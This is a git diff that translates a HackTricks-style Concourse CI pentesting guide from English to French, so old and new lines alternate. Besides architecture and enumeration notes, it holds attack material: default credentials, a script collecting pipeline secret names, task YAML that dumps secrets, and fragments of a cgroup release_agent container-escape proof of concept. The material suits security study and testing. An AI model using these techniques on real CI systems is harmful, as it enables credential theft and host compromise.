Découvrez comment vous pouvez exécuter un environnement concourse localement pour faire vos propres tests dans :
|
||||
|
||||
{{#ref}}
|
||||
concourse-lab-creation.md
|
||||
{{#endref}}
|
||||
|
||||
## Enumerate & Attack Concourse
|
||||
## Énumérer et attaquer Concourse
|
||||
|
||||
Learn how you can enumerate the concourse environment and abuse it in:
|
||||
Découvrez comment vous pouvez énumérer l'environnement concourse et en abuser dans :
|
||||
|
||||
{{#ref}}
|
||||
concourse-enumeration-and-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,42 +1,38 @@
|
||||
# Concourse Architecture
|
||||
# Architecture de Concourse
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Concourse Architecture
|
||||
## Architecture de Concourse
|
||||
|
||||
|
||||
|
||||
[**Relevant data from Concourse documentation:**](https://concourse-ci.org/internals.html)
|
||||
[**Données pertinentes de la documentation de Concourse :**](https://concourse-ci.org/internals.html)
|
||||
|
||||
### Architecture
|
||||
|
||||
.png>)
|
||||
|
||||
#### ATC: web UI & build scheduler
|
||||
#### ATC : interface web & planificateur de builds
|
||||
|
||||
The ATC is the heart of Concourse. It runs the **web UI and API** and is responsible for all pipeline **scheduling**. It **connects to PostgreSQL**, which it uses to store pipeline data (including build logs).
|
||||
L'ATC est le cœur de Concourse. Il exécute la **web UI et l'API** et est responsable de toute la **planification** des pipelines. Il **se connecte à PostgreSQL**, qu'il utilise pour stocker les données des pipelines (y compris les journaux de construction).
|
||||
|
||||
The [checker](https://concourse-ci.org/checker.html)'s responsibility is to continuously checks for new versions of resources. The [scheduler](https://concourse-ci.org/scheduler.html) is responsible for scheduling builds for a job and the [build tracker](https://concourse-ci.org/build-tracker.html) is responsible for running any scheduled builds. The [garbage collector](https://concourse-ci.org/garbage-collector.html) is the cleanup mechanism for removing any unused or outdated objects, such as containers and volumes.
|
||||
La responsabilité du [checker](https://concourse-ci.org/checker.html) est de vérifier en continu les nouvelles versions des ressources. Le [scheduler](https://concourse-ci.org/scheduler.html) est responsable de la planification des builds pour un job et le [build tracker](https://concourse-ci.org/build-tracker.html) est responsable de l'exécution de tout build planifié. Le [garbage collector](https://concourse-ci.org/garbage-collector.html) est le mécanisme de nettoyage pour supprimer tout objet inutilisé ou obsolète, tel que des conteneurs et des volumes.
|
||||
|
||||
#### TSA: worker registration & forwarding
|
||||
#### TSA : enregistrement des workers & transfert
|
||||
|
||||
The TSA is a **custom-built SSH server** that is used solely for securely **registering** [**workers**](https://concourse-ci.org/internals.html#architecture-worker) with the [ATC](https://concourse-ci.org/internals.html#component-atc).
|
||||
Le TSA est un **serveur SSH sur mesure** qui est utilisé uniquement pour **enregistrer** en toute sécurité des [**workers**](https://concourse-ci.org/internals.html#architecture-worker) avec l'[ATC](https://concourse-ci.org/internals.html#component-atc).
|
||||
|
||||
The TSA by **default listens on port `2222`**, and is usually colocated with the [ATC](https://concourse-ci.org/internals.html#component-atc) and sitting behind a load balancer.
|
||||
Le TSA écoute par **défaut sur le port `2222`**, et est généralement co-localisé avec l'[ATC](https://concourse-ci.org/internals.html#component-atc) et se trouve derrière un équilibreur de charge.
|
||||
|
||||
The **TSA implements CLI over the SSH connection,** supporting [**these commands**](https://concourse-ci.org/internals.html#component-tsa).
|
||||
Le **TSA implémente CLI sur la connexion SSH,** prenant en charge [**ces commandes**](https://concourse-ci.org/internals.html#component-tsa).
|
||||
|
||||
#### Workers
|
||||
|
||||
In order to execute tasks concourse must have some workers. These workers **register themselves** via the [TSA](https://concourse-ci.org/internals.html#component-tsa) and run the services [**Garden**](https://github.com/cloudfoundry-incubator/garden) and [**Baggageclaim**](https://github.com/concourse/baggageclaim).
|
||||
Pour exécuter des tâches, Concourse doit avoir des workers. Ces workers **s'enregistrent** via le [TSA](https://concourse-ci.org/internals.html#component-tsa) et exécutent les services [**Garden**](https://github.com/cloudfoundry-incubator/garden) et [**Baggageclaim**](https://github.com/concourse/baggageclaim).
|
||||
|
||||
- **Garden**: This is the **Container Manage AP**I, usually run in **port 7777** via **HTTP**.
|
||||
- **Baggageclaim**: This is the **Volume Management API**, usually run in **port 7788** via **HTTP**.
|
||||
- **Garden** : C'est l'**API de gestion des conteneurs**, généralement exécutée sur le **port 7777** via **HTTP**.
|
||||
- **Baggageclaim** : C'est l'**API de gestion des volumes**, généralement exécutée sur le **port 7788** via **HTTP**.
|
||||
|
||||
## References
|
||||
## Références
|
||||
|
||||
- [https://concourse-ci.org/internals.html](https://concourse-ci.org/internals.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -8,213 +8,202 @@
|
||||
|
||||
### User Roles & Permissions
|
||||
|
||||
Concourse comes with five roles:
|
||||
Concourse vient avec cinq rôles :
|
||||
|
||||
- _Concourse_ **Admin**: This role is only given to owners of the **main team** (default initial concourse team). Admins can **configure other teams** (e.g.: `fly set-team`, `fly destroy-team`...). The permissions of this role cannot be affected by RBAC.
|
||||
- **owner**: Team owners can **modify everything within the team**.
|
||||
- **member**: Team members can **read and write** within the **teams assets** but cannot modify the team settings.
|
||||
- **pipeline-operator**: Pipeline operators can perform **pipeline operations** such as triggering builds and pinning resources, however they cannot update pipeline configurations.
|
||||
- **viewer**: Team viewers have **"read-only" access to a team** and its pipelines.
|
||||
- _Concourse_ **Admin** : Ce rôle est uniquement attribué aux propriétaires de l'**équipe principale** (équipe concourse initiale par défaut). Les admins peuvent **configurer d'autres équipes** (par exemple : `fly set-team`, `fly destroy-team`...). Les permissions de ce rôle ne peuvent pas être affectées par RBAC.
|
||||
- **owner** : Les propriétaires d'équipe peuvent **modifier tout au sein de l'équipe**.
|
||||
- **member** : Les membres de l'équipe peuvent **lire et écrire** au sein des **ressources de l'équipe** mais ne peuvent pas modifier les paramètres de l'équipe.
|
||||
- **pipeline-operator** : Les opérateurs de pipeline peuvent effectuer des **opérations de pipeline** telles que déclencher des builds et épingler des ressources, cependant ils ne peuvent pas mettre à jour les configurations de pipeline.
|
||||
- **viewer** : Les visualisateurs d'équipe ont un accès **"lecture seule" à une équipe** et à ses pipelines.
|
||||
|
||||
> [!NOTE]
|
||||
> Moreover, the **permissions of the roles owner, member, pipeline-operator and viewer can be modified** configuring RBAC (configuring more specifically it's actions). Read more about it in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
|
||||
> De plus, les **permissions des rôles owner, member, pipeline-operator et viewer peuvent être modifiées** en configurant RBAC (en configurant plus spécifiquement ses actions). Lisez-en plus à ce sujet dans : [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
|
||||
|
||||
Note that Concourse **groups pipelines inside Teams**. Therefore users belonging to a Team will be able to manage those pipelines and **several Teams** might exist. A user can belong to several Teams and have different permissions inside each of them.
|
||||
Notez que Concourse **groupe les pipelines à l'intérieur des équipes**. Par conséquent, les utilisateurs appartenant à une équipe pourront gérer ces pipelines et **plusieurs équipes** peuvent exister. Un utilisateur peut appartenir à plusieurs équipes et avoir des permissions différentes à l'intérieur de chacune d'elles.
|
||||
|
||||
### Vars & Credential Manager
|
||||
|
||||
In the YAML configs you can configure values using the syntax `((_source-name_:_secret-path_._secret-field_))`.\
|
||||
[From the docs:](https://concourse-ci.org/vars.html#var-syntax) The **source-name is optional**, and if omitted, the [cluster-wide credential manager](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) will be used, or the value may be provided [statically](https://concourse-ci.org/vars.html#static-vars).\
|
||||
The **optional \_secret-field**\_ specifies a field on the fetched secret to read. If omitted, the credential manager may choose to read a 'default field' from the fetched credential if the field exists.\
|
||||
Moreover, the _**secret-path**_ and _**secret-field**_ may be surrounded by double quotes `"..."` if they **contain special characters** like `.` and `:`. For instance, `((source:"my.secret"."field:1"))` will set the _secret-path_ to `my.secret` and the _secret-field_ to `field:1`.
|
||||
Dans les configurations YAML, vous pouvez configurer des valeurs en utilisant la syntaxe `((_source-name_:_secret-path_._secret-field_))`.\
|
||||
[Selon la documentation :](https://concourse-ci.org/vars.html#var-syntax) Le **source-name est optionnel**, et s'il est omis, le [gestionnaire de credentials à l'échelle du cluster](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) sera utilisé, ou la valeur peut être fournie [statiquement](https://concourse-ci.org/vars.html#static-vars).\
|
||||
Le **\_secret-field optionnel**\_ spécifie un champ sur le secret récupéré à lire. S'il est omis, le gestionnaire de credentials peut choisir de lire un 'champ par défaut' du credential récupéré si le champ existe.\
|
||||
De plus, le _**secret-path**_ et _**secret-field**_ peuvent être entourés de guillemets doubles `"..."` s'ils **contiennent des caractères spéciaux** comme `.` et `:`. Par exemple, `((source:"my.secret"."field:1"))` définira le _secret-path_ sur `my.secret` et le _secret-field_ sur `field:1`.
|
||||
|
||||
#### Static Vars
|
||||
|
||||
Static vars can be specified in **tasks steps**:
|
||||
|
||||
Les vars statiques peuvent être spécifiées dans les **étapes de tâches** :
|
||||
```yaml
|
||||
- task: unit-1.13
|
||||
file: booklit/ci/unit.yml
|
||||
vars: { tag: 1.13 }
|
||||
file: booklit/ci/unit.yml
|
||||
vars: { tag: 1.13 }
|
||||
```
|
||||
Ou en utilisant les `fly` **arguments** suivants :
|
||||
|
||||
Or using the following `fly` **arguments**:
|
||||
- `-v` ou `--var` `NAME=VALUE` définit la chaîne `VALUE` comme valeur pour la var `NAME`.
|
||||
- `-y` ou `--yaml-var` `NAME=VALUE` analyse `VALUE` comme YAML et le définit comme valeur pour la var `NAME`.
|
||||
- `-i` ou `--instance-var` `NAME=VALUE` analyse `VALUE` comme YAML et le définit comme valeur pour la var d'instance `NAME`. Voir [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) pour en savoir plus sur les vars d'instance.
|
||||
- `-l` ou `--load-vars-from` `FILE` charge `FILE`, un document YAML contenant le mappage des noms de vars aux valeurs, et les définit tous.
|
||||
|
||||
- `-v` or `--var` `NAME=VALUE` sets the string `VALUE` as the value for the var `NAME`.
|
||||
- `-y` or `--yaml-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the var `NAME`.
|
||||
- `-i` or `--instance-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the instance var `NAME`. See [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) to learn more about instance vars.
|
||||
- `-l` or `--load-vars-from` `FILE` loads `FILE`, a YAML document containing mapping var names to values, and sets them all.
|
||||
#### Gestion des Identifiants
|
||||
|
||||
#### Credential Management
|
||||
Il existe différentes manières de spécifier un **Gestionnaire d'Identifiants** dans un pipeline, lisez comment dans [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
|
||||
De plus, Concourse prend en charge différents gestionnaires d'identifiants :
|
||||
|
||||
There are different ways a **Credential Manager can be specified** in a pipeline, read how in [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
|
||||
Moreover, Concourse supports different credential managers:
|
||||
|
||||
- [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html)
|
||||
- [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html)
|
||||
- [The AWS SSM credential manager](https://concourse-ci.org/aws-ssm-credential-manager.html)
|
||||
- [The AWS Secrets Manager credential manager](https://concourse-ci.org/aws-asm-credential-manager.html)
|
||||
- [Kubernetes Credential Manager](https://concourse-ci.org/kubernetes-credential-manager.html)
|
||||
- [The Conjur credential manager](https://concourse-ci.org/conjur-credential-manager.html)
|
||||
- [Caching credentials](https://concourse-ci.org/creds-caching.html)
|
||||
- [Redacting credentials](https://concourse-ci.org/creds-redacting.html)
|
||||
- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html)
|
||||
- [Le gestionnaire d'identifiants Vault](https://concourse-ci.org/vault-credential-manager.html)
|
||||
- [Le gestionnaire d'identifiants CredHub](https://concourse-ci.org/credhub-credential-manager.html)
|
||||
- [Le gestionnaire d'identifiants AWS SSM](https://concourse-ci.org/aws-ssm-credential-manager.html)
|
||||
- [Le gestionnaire d'identifiants AWS Secrets Manager](https://concourse-ci.org/aws-asm-credential-manager.html)
|
||||
- [Gestionnaire d'Identifiants Kubernetes](https://concourse-ci.org/kubernetes-credential-manager.html)
|
||||
- [Le gestionnaire d'identifiants Conjur](https://concourse-ci.org/conjur-credential-manager.html)
|
||||
- [Mise en cache des identifiants](https://concourse-ci.org/creds-caching.html)
|
||||
- [Rédaction des identifiants](https://concourse-ci.org/creds-redacting.html)
|
||||
- [Réessayer les récupérations échouées](https://concourse-ci.org/creds-retry-logic.html)
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that if you have some kind of **write access to Concourse** you can create jobs to **exfiltrate those secrets** as Concourse needs to be able to access them.
|
||||
> Notez que si vous avez un certain type d'**accès en écriture à Concourse**, vous pouvez créer des jobs pour **exfiltrer ces secrets** car Concourse doit pouvoir y accéder.
|
||||
|
||||
### Concourse Enumeration
|
||||
### Énumération Concourse
|
||||
|
||||
In order to enumerate a concourse environment you first need to **gather valid credentials** or to find an **authenticated token** probably in a `.flyrc` config file.
|
||||
Pour énumérer un environnement concourse, vous devez d'abord **rassembler des identifiants valides** ou trouver un **jeton authentifié**, probablement dans un fichier de configuration `.flyrc`.
|
||||
|
||||
#### Login and Current User enum
|
||||
#### Connexion et énumération de l'utilisateur actuel
|
||||
|
||||
- To login you need to know the **endpoint**, the **team name** (default is `main`) and a **team the user belongs to**:
|
||||
- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
|
||||
- Get configured **targets**:
|
||||
- `fly targets`
|
||||
- Get if the configured **target connection** is still **valid**:
|
||||
- `fly -t <target> status`
|
||||
- Get **role** of the user against the indicated target:
|
||||
- `fly -t <target> userinfo`
|
||||
- Pour vous connecter, vous devez connaître l'**endpoint**, le **nom de l'équipe** (par défaut `main`) et une **équipe à laquelle l'utilisateur appartient** :
|
||||
- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
|
||||
- Obtenez les **cibles configurées** :
|
||||
- `fly targets`
|
||||
- Vérifiez si la **connexion cible configurée** est toujours **valide** :
|
||||
- `fly -t <target> status`
|
||||
- Obtenez le **rôle** de l'utilisateur par rapport à la cible indiquée :
|
||||
- `fly -t <target> userinfo`
|
||||
|
||||
> [!NOTE]
|
||||
> Note that the **API token** is **saved** in `$HOME/.flyrc` by default, you looting a machines you could find there the credentials.
|
||||
> Notez que le **jeton API** est **enregistré** par défaut dans `$HOME/.flyrc`, en fouillant une machine, vous pourriez y trouver les identifiants.
|
||||
|
||||
#### Teams & Users
|
||||
#### Équipes & Utilisateurs
|
||||
|
||||
- Get a list of the Teams
|
||||
- `fly -t <target> teams`
|
||||
- Get roles inside team
|
||||
- `fly -t <target> get-team -n <team-name>`
|
||||
- Get a list of users
|
||||
- `fly -t <target> active-users`
|
||||
- Obtenez une liste des Équipes
|
||||
- `fly -t <target> teams`
|
||||
- Obtenez les rôles au sein de l'équipe
|
||||
- `fly -t <target> get-team -n <team-name>`
|
||||
- Obtenez une liste des utilisateurs
|
||||
- `fly -t <target> active-users`
|
||||
|
||||
#### Pipelines
|
||||
|
||||
- **List** pipelines:
|
||||
- `fly -t <target> pipelines -a`
|
||||
- **Get** pipeline yaml (**sensitive information** might be found in the definition):
|
||||
- `fly -t <target> get-pipeline -p <pipeline-name>`
|
||||
- Get all pipeline **config declared vars**
|
||||
- `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
|
||||
- Get all the **pipelines secret names used** (if you can create/modify a job or hijack a container you could exfiltrate them):
|
||||
|
||||
- **Liste** des pipelines :
|
||||
- `fly -t <target> pipelines -a`
|
||||
- **Obtenez** le yaml du pipeline (**des informations sensibles** peuvent être trouvées dans la définition) :
|
||||
- `fly -t <target> get-pipeline -p <pipeline-name>`
|
||||
- Obtenez toutes les **vars déclarées dans la config du pipeline**
|
||||
- `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
|
||||
- Obtenez tous les **noms de secrets de pipelines utilisés** (si vous pouvez créer/modifier un job ou détourner un conteneur, vous pourriez les exfiltrer) :
|
||||
```bash
|
||||
rm /tmp/secrets.txt;
|
||||
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
|
||||
echo $pipename;
|
||||
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
|
||||
echo "";
|
||||
echo $pipename;
|
||||
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
|
||||
echo "";
|
||||
done
|
||||
echo ""
|
||||
echo "ALL SECRETS"
|
||||
cat /tmp/secrets.txt | sort | uniq
|
||||
rm /tmp/secrets.txt
|
||||
```
|
||||
#### Conteneurs & Travailleurs
|
||||
|
||||
#### Containers & Workers
|
||||
- Lister **travailleurs** :
|
||||
- `fly -t <target> workers`
|
||||
- Lister **conteneurs** :
|
||||
- `fly -t <target> containers`
|
||||
- Lister **builds** (pour voir ce qui est en cours d'exécution) :
|
||||
- `fly -t <target> builds`
|
||||
|
||||
- List **workers**:
|
||||
- `fly -t <target> workers`
|
||||
- List **containers**:
|
||||
- `fly -t <target> containers`
|
||||
- List **builds** (to see what is running):
|
||||
- `fly -t <target> builds`
|
||||
### Attaques Concourse
|
||||
|
||||
### Concourse Attacks
|
||||
|
||||
#### Credentials Brute-Force
|
||||
#### Brute-Force des Identifiants
|
||||
|
||||
- admin:admin
|
||||
- test:test
|
||||
|
||||
#### Secrets and params enumeration
|
||||
#### Énumération des secrets et paramètres
|
||||
|
||||
In the previous section we saw how you can **get all the secrets names and vars** used by the pipeline. The **vars might contain sensitive info** and the name of the **secrets will be useful later to try to steal** them.
|
||||
Dans la section précédente, nous avons vu comment vous pouvez **obtenir tous les noms et variables des secrets** utilisés par le pipeline. Les **variables peuvent contenir des informations sensibles** et le nom des **secrets sera utile plus tard pour essayer de les voler**.
|
||||
|
||||
#### Session inside running or recently run container
|
||||
|
||||
If you have enough privileges (**member role or more**) you will be able to **list pipelines and roles** and just get a **session inside** the `<pipeline>/<job>` **container** using:
|
||||
#### Session à l'intérieur d'un conteneur en cours d'exécution ou récemment exécuté
|
||||
|
||||
Si vous avez suffisamment de privilèges (**rôle de membre ou plus**), vous pourrez **lister les pipelines et les rôles** et simplement obtenir une **session à l'intérieur** du conteneur `<pipeline>/<job>` en utilisant :
|
||||
```bash
|
||||
fly -t tutorial intercept --job pipeline-name/job-name
|
||||
fly -t tutorial intercept # To be presented a prompt with all the options
|
||||
```
|
||||
Avec ces permissions, vous pourriez être en mesure de :
|
||||
|
||||
With these permissions you might be able to:
|
||||
- **Voler les secrets** à l'intérieur du **conteneur**
|
||||
- Essayer de **s'échapper** vers le nœud
|
||||
- Énumérer/Abuser de l'endpoint **cloud metadata** (depuis le pod et depuis le nœud, si possible)
|
||||
|
||||
- **Steal the secrets** inside the **container**
|
||||
- Try to **escape** to the node
|
||||
- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node, if possible)
|
||||
|
||||
#### Pipeline Creation/Modification
|
||||
|
||||
If you have enough privileges (**member role or more**) you will be able to **create/modify new pipelines.** Check this example:
|
||||
#### Création/Modification de Pipeline
|
||||
|
||||
Si vous avez suffisamment de privilèges (**rôle de membre ou plus**), vous pourrez **créer/modifier de nouveaux pipelines.** Consultez cet exemple :
|
||||
```yaml
|
||||
jobs:
|
||||
- name: simple
|
||||
plan:
|
||||
- task: simple-task
|
||||
privileged: true
|
||||
config:
|
||||
# Tells Concourse which type of worker this task should run on
|
||||
platform: linux
|
||||
image_resource:
|
||||
type: registry-image
|
||||
source:
|
||||
repository: busybox # images are pulled from docker hub by default
|
||||
run:
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
echo "$SUPER_SECRET"
|
||||
sleep 1000
|
||||
params:
|
||||
SUPER_SECRET: ((super.secret))
|
||||
- name: simple
|
||||
plan:
|
||||
- task: simple-task
|
||||
privileged: true
|
||||
config:
|
||||
# Tells Concourse which type of worker this task should run on
|
||||
platform: linux
|
||||
image_resource:
|
||||
type: registry-image
|
||||
source:
|
||||
repository: busybox # images are pulled from docker hub by default
|
||||
run:
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
echo "$SUPER_SECRET"
|
||||
sleep 1000
|
||||
params:
|
||||
SUPER_SECRET: ((super.secret))
|
||||
```
|
||||
Avec la **modification/création** d'un nouveau pipeline, vous pourrez :
|
||||
|
||||
With the **modification/creation** of a new pipeline you will be able to:
|
||||
- **Voler** les **secrets** (en les affichant ou en accédant au conteneur et en exécutant `env`)
|
||||
- **Échapper** au **nœud** (en vous donnant suffisamment de privilèges - `privileged: true`)
|
||||
- Énumérer/Abuser de l'endpoint de **métadonnées cloud** (depuis le pod et depuis le nœud)
|
||||
- **Supprimer** le pipeline créé
|
||||
|
||||
- **Steal** the **secrets** (via echoing them out or getting inside the container and running `env`)
|
||||
- **Escape** to the **node** (by giving you enough privileges - `privileged: true`)
|
||||
- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node)
|
||||
- **Delete** created pipeline
|
||||
|
||||
#### Execute Custom Task
|
||||
|
||||
This is similar to the previous method but instead of modifying/creating a whole new pipeline you can **just execute a custom task** (which will probably be much more **stealthier**):
|
||||
#### Exécuter une tâche personnalisée
|
||||
|
||||
C'est similaire à la méthode précédente, mais au lieu de modifier/créer un tout nouveau pipeline, vous pouvez **juste exécuter une tâche personnalisée** (ce qui sera probablement beaucoup plus **discret**) :
|
||||
```yaml
|
||||
# For more task_config options check https://concourse-ci.org/tasks.html
|
||||
platform: linux
|
||||
image_resource:
|
||||
type: registry-image
|
||||
source:
|
||||
repository: ubuntu
|
||||
type: registry-image
|
||||
source:
|
||||
repository: ubuntu
|
||||
run:
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
env
|
||||
sleep 1000
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
env
|
||||
sleep 1000
|
||||
params:
|
||||
SUPER_SECRET: ((super.secret))
|
||||
SUPER_SECRET: ((super.secret))
|
||||
```
|
||||
|
||||
```bash
|
||||
fly -t tutorial execute --privileged --config task_config.yml
|
||||
```
|
||||
#### Évasion vers le nœud depuis une tâche privilégiée
|
||||
|
||||
#### Escaping to the node from privileged task
|
||||
|
||||
In the previous sections we saw how to **execute a privileged task with concourse**. This won't give the container exactly the same access as the privileged flag in a docker container. For example, you won't see the node filesystem device in /dev, so the escape could be more "complex".
|
||||
|
||||
In the following PoC we are going to use the release_agent to escape with some small modifications:
|
||||
Dans les sections précédentes, nous avons vu comment **exécuter une tâche privilégiée avec concourse**. Cela ne donnera pas au conteneur exactement le même accès que le drapeau privilégié dans un conteneur docker. Par exemple, vous ne verrez pas le périphérique du système de fichiers du nœud dans /dev, donc l'évasion pourrait être plus "complexe".
|
||||
|
||||
Dans le PoC suivant, nous allons utiliser le release_agent pour échapper avec quelques petites modifications :
|
||||
```bash
|
||||
# Mounts the RDMA cgroup controller and create a child cgroup
|
||||
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
|
||||
@@ -272,14 +261,12 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
# Reads the output
|
||||
cat /output
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> As you might have noticed this is just a [**regular release_agent escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) just modifying the path of the cmd in the node
|
||||
> Comme vous l'avez peut-être remarqué, il s'agit simplement d'une [**évasion régulière de release_agent**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) en modifiant simplement le chemin de la cmd dans le nœud
|
||||
|
||||
#### Escaping to the node from a Worker container
|
||||
|
||||
A regular release_agent escape with a minor modification is enough for this:
|
||||
#### Évasion vers le nœud depuis un conteneur Worker
|
||||
|
||||
Une évasion régulière de release_agent avec une légère modification suffit pour cela :
|
||||
```bash
|
||||
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
||||
|
||||
@@ -306,13 +293,11 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
# Reads the output
|
||||
cat /output
|
||||
```
|
||||
#### Évasion vers le nœud depuis le conteneur Web
|
||||
|
||||
#### Escaping to the node from the Web container
|
||||
|
||||
Even if the web container has some defenses disabled it's **not running as a common privileged container** (for example, you **cannot** **mount** and the **capabilities** are very **limited**, so all the easy ways to escape from the container are useless).
|
||||
|
||||
However, it stores **local credentials in clear text**:
|
||||
Même si le conteneur web a certaines défenses désactivées, il **ne fonctionne pas comme un conteneur privilégié commun** (par exemple, vous **ne pouvez pas** **monter** et les **capacités** sont très **limitées**, donc toutes les façons simples de s'échapper du conteneur sont inutiles).
|
||||
|
||||
Cependant, il stocke **des identifiants locaux en texte clair** :
|
||||
```bash
|
||||
cat /concourse-auth/local-users
|
||||
test:test
|
||||
@@ -321,11 +306,9 @@ env | grep -i local_user
|
||||
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
|
||||
CONCOURSE_ADD_LOCAL_USER=test:test
|
||||
```
|
||||
Vous pouvez utiliser ces identifiants pour **vous connecter au serveur web** et **créer un conteneur privilégié et échapper au nœud**.
|
||||
|
||||
You cloud use that credentials to **login against the web server** and **create a privileged container and escape to the node**.
|
||||
|
||||
In the environment you can also find information to **access the postgresql** instance that concourse uses (address, **username**, **password** and database among other info):
|
||||
|
||||
Dans l'environnement, vous pouvez également trouver des informations pour **accéder à l'instance postgresql** que concourse utilise (adresse, **nom d'utilisateur**, **mot de passe** et base de données parmi d'autres informations) :
|
||||
```bash
|
||||
env | grep -i postg
|
||||
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
|
||||
@@ -346,39 +329,35 @@ select * from refresh_token;
|
||||
select * from teams; #Change the permissions of the users in the teams
|
||||
select * from users;
|
||||
```
|
||||
|
||||
#### Abusing Garden Service - Not a real Attack
|
||||
#### Abuser du service Garden - Pas une vraie attaque
|
||||
|
||||
> [!WARNING]
|
||||
> This are just some interesting notes about the service, but because it's only listening on localhost, this notes won't present any impact we haven't already exploited before
|
||||
> Ce ne sont que quelques notes intéressantes sur le service, mais comme il n'écoute que sur localhost, ces notes n'auront aucun impact que nous n'avons pas déjà exploité auparavant.
|
||||
|
||||
By default each concourse worker will be running a [**Garden**](https://github.com/cloudfoundry/garden) service in port 7777. This service is used by the Web master to indicate the worker **what he needs to execute** (download the image and run each task). This sound pretty good for an attacker, but there are some nice protections:
|
||||
Par défaut, chaque worker concourse exécutera un service [**Garden**](https://github.com/cloudfoundry/garden) sur le port 7777. Ce service est utilisé par le Web master pour indiquer au worker **ce qu'il doit exécuter** (télécharger l'image et exécuter chaque tâche). Cela semble plutôt bon pour un attaquant, mais il y a quelques bonnes protections :
|
||||
|
||||
- It's just **exposed locally** (127..0.0.1) and I think when the worker authenticates agains the Web with the special SSH service, a tunnel is created so the web server can **talk to each Garden service** inside each worker.
|
||||
- The web server is **monitoring the running containers every few seconds**, and **unexpected** containers are **deleted**. So if you want to **run a custom container** you need to **tamper** with the **communication** between the web server and the garden service.
|
||||
|
||||
Concourse workers run with high container privileges:
|
||||
- Il est **exposé localement** (127..0.0.1) et je pense que lorsque le worker s'authentifie contre le Web avec le service SSH spécial, un tunnel est créé afin que le serveur web puisse **communiquer avec chaque service Garden** à l'intérieur de chaque worker.
|
||||
- Le serveur web **surveille les conteneurs en cours d'exécution toutes les quelques secondes**, et les conteneurs **inattendus** sont **supprimés**. Donc, si vous voulez **exécuter un conteneur personnalisé**, vous devez **interférer** avec la **communication** entre le serveur web et le service garden.
|
||||
|
||||
Les workers concourse s'exécutent avec des privilèges élevés de conteneur :
|
||||
```
|
||||
Container Runtime: docker
|
||||
Has Namespaces:
|
||||
pid: true
|
||||
user: false
|
||||
pid: true
|
||||
user: false
|
||||
AppArmor Profile: kernel
|
||||
Capabilities:
|
||||
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
|
||||
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
|
||||
Seccomp: disabled
|
||||
```
|
||||
|
||||
However, techniques like **mounting** the /dev device of the node or release_agent **won't work** (as the real device with the filesystem of the node isn't accesible, only a virtual one). We cannot access processes of the node, so escaping from the node without kernel exploits get complicated.
|
||||
Cependant, des techniques comme **monter** le périphérique /dev du nœud ou release_agent **ne fonctionneront pas** (car le véritable périphérique avec le système de fichiers du nœud n'est pas accessible, seulement un virtuel). Nous ne pouvons pas accéder aux processus du nœud, donc s'échapper du nœud sans exploits du noyau devient compliqué.
|
||||
